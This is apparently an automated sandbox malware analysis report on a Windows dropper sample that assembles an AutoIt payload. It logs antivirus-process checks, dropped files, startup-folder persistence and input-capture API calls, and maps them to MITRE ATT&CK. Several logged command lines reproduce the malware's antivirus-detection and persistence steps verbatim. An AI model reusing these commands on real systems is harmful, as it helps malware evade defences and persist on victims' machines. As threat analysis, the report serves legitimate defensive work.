Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: 66fd8d779da5e_EscortsRadios.exe

Static file information: File size 1302854 > 1048576

Source: 66fd8d779da5e_EscortsRadios.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FB8B75 push ecx; ret		10_2_00FB8B88
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AE8B75 push ecx; ret		18_2_00AE8B88

Persistence and Installation Behavior

Drops PE files with a suspicious file extension

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	File created: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif			Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	File created: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif			Jump to dropped file

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DatumHub.url

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_010159B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	10_2_010159B3
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FA5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	10_2_00FA5EDA
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B459B3 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,	18_2_00B459B3
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AD5EDA GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,	18_2_00AD5EDA

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FB33B7 EncodePointer,__initp_misc_winsig,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_00FB33B7

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr

Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	API coverage: 4.9 %
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	API coverage: 4.5 %

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FF4005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00FF4005
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FF494A GetFileAttributesW,FindFirstFileW,FindClose,	10_2_00FF494A
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FF3CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	10_2_00FF3CE2
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFC2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00FFC2FF
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFCD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	10_2_00FFCD9F
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFCD14 FindFirstFileW,FindClose,	10_2_00FFCD14
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFF5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00FFF5D8
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFF735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	10_2_00FFF735
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FFFA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	10_2_00FFFA36
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B24005 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00B24005
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2494A GetFileAttributesW,FindFirstFileW,FindClose,	18_2_00B2494A
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2C2FF FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,	18_2_00B2C2FF
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2CD9F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,__swprintf,	18_2_00B2CD9F
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2CD14 FindFirstFileW,FindClose,	18_2_00B2CD14
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2F5D8 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_00B2F5D8
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2F735 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,_wcscmp,_wcscmp,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,_wcscmp,_wcscmp,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_00B2F735
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B2FA36 FindFirstFileW,Sleep,_wcscmp,_wcscmp,FindNextFileW,FindClose,	18_2_00B2FA36
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B23CE2 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_00B23CE2

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FA5D13 GetVersionExW,GetCurrentProcess,IsWow64Process,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

10_2_00FA5D13

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\527294\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\527294	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, DatumHub.scr, 00000012.00000002.2981426217.00000000036C7000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_010045D5 BlockInput,

10_2_010045D5

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FA5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00FA5240

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FC5CAC EncodePointer,EncodePointer,___crtIsPackagedApp,LoadLibraryExW,GetLastError,LoadLibraryExW,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,GetProcAddress,EncodePointer,IsDebuggerPresent,OutputDebugStringW,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,DecodePointer,

10_2_00FC5CAC

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Code function: 0_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

0_2_004062FC

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FE88CD GetSecurityDescriptorDacl,_memset,GetAclInformation,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,

10_2_00FE88CD

Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FBA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	10_2_00FBA385
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_00FBA354 SetUnhandledExceptionFilter,	10_2_00FBA354
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AEA385 SetUnhandledExceptionFilter,UnhandledExceptionFilter,	18_2_00AEA385
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00AEA354 SetUnhandledExceptionFilter,	18_2_00AEA354

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FE9369 LogonUserW,

10_2_00FE9369

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FA5240 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

10_2_00FA5240

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FF1AC6 SendInput,keybd_event,

10_2_00FF1AC6

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FF51E2 mouse_event,

10_2_00FF51E2

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c move Jeffrey Jeffrey.bat & Jeffrey.bat	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 527294	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "phisexyerrorspuzzle" Recorder	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Bottle + ..\Audi + ..\Duties + ..\Integral + ..\Warren + ..\Casio + ..\Sunny d	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif Miniature.pif d	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr "C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr" "C:\Users\user\AppData\Local\DatumHub Technologies\s"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\datumhub.url" & echo url="c:\users\user\appdata\local\datumhub technologies\datumhub.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\datumhub.url" & exit
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [internetshortcut] > "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\datumhub.url" & echo url="c:\users\user\appdata\local\datumhub technologies\datumhub.js" >> "c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\datumhub.url" & exit			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

10_2_00FE88CD

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FF4F1C AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

10_2_00FF4F1C

Source: 66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027CB000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2979835735.0000000001046000.00000002.00000001.01000000.00000006.sdmp, Miniature.pif, 0000000A.00000003.1802019539.000000000425F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: Miniature.pif, DatumHub.scr	Binary or memory string: Shell_TrayWnd

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FB885B cpuid

10_2_00FB885B

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FD0030 GetLocalTime,__swprintf,

10_2_00FD0030

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FD0722 GetUserNameW,

10_2_00FD0722

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif

Code function: 10_2_00FC416A __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

10_2_00FC416A

Source: C:\Users\user\Desktop\66fd8d779da5e_EscortsRadios.exe

Code function: 0_2_00406805 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406805

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: DatumHub.scr	Binary or memory string: WIN_81
Source: DatumHub.scr	Binary or memory string: WIN_XP
Source: DatumHub.scr	Binary or memory string: WIN_XPe
Source: DatumHub.scr	Binary or memory string: WIN_VISTA
Source: DatumHub.scr	Binary or memory string: WIN_7
Source: DatumHub.scr	Binary or memory string: WIN_8
Source: DatumHub.scr.10.dr	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 3USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_0100696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	10_2_0100696E
Source: C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	Code function: 10_2_01006E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	10_2_01006E32
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B3696E socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,	18_2_00B3696E
Source: C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	Code function: 18_2_00B36E32 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,	18_2_00B36E32

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	2 Valid Accounts	1 Windows Management Instrumentation	11 Scripting	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	21 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	21 Input Capture	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	2 Valid Accounts	2 Valid Accounts	2 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	2 Registry Run Keys / Startup Folder	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	17 System Information Discovery	Distributed Component Object Model	Input Capture	1 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	12 Process Injection	111 Masquerading	LSA Secrets	31 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	2 Registry Run Keys / Startup Folder	2 Valid Accounts	Cached Domain Credentials	4 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
66fd8d779da5e_EscortsRadios.exe	8%	ReversingLabs
66fd8d779da5e_EscortsRadios.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\DatumHub Technologies\DatumHub.scr	5%	ReversingLabs
C:\Users\user\AppData\Local\Temp\527294\Miniature.pif	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://nsis.sf.net/NSIS_ErrorError	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fojjIZmGBFVhLMWz.fojjIZmGBFVhLMWz	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.autoitscript.com/autoit3/J	66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000000.1784235440.0000000001059000.00000002.00000001.01000000.00000006.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, DatumHub.scr, 00000012.00000002.2979969921.0000000000B89000.00000002.00000001.01000000.00000008.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	false		unknown
http://nsis.sf.net/NSIS_ErrorError	66fd8d779da5e_EscortsRadios.exe	false	URL Reputation: safe	unknown
https://www.autoitscript.com/autoit3/	66fd8d779da5e_EscortsRadios.exe, 00000000.00000003.1745574045.00000000027D9000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000002.2981207824.0000000003865000.00000004.00000020.00020000.00000000.sdmp, Miniature.pif, 0000000A.00000003.1801920915.0000000004182000.00000004.00000800.00020000.00000000.sdmp, Liechtenstein.0.dr, Miniature.pif.1.dr, DatumHub.scr.10.dr	false		unknown

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1525251
Start date and time:	2024-10-03 23:44:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	20
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	66fd8d779da5e_EscortsRadios.exe
Detection:	MAL
Classification:	mal76.expl.evad.winEXE@28/17@3/0
EGA Information:	Successful, ratio: 100%
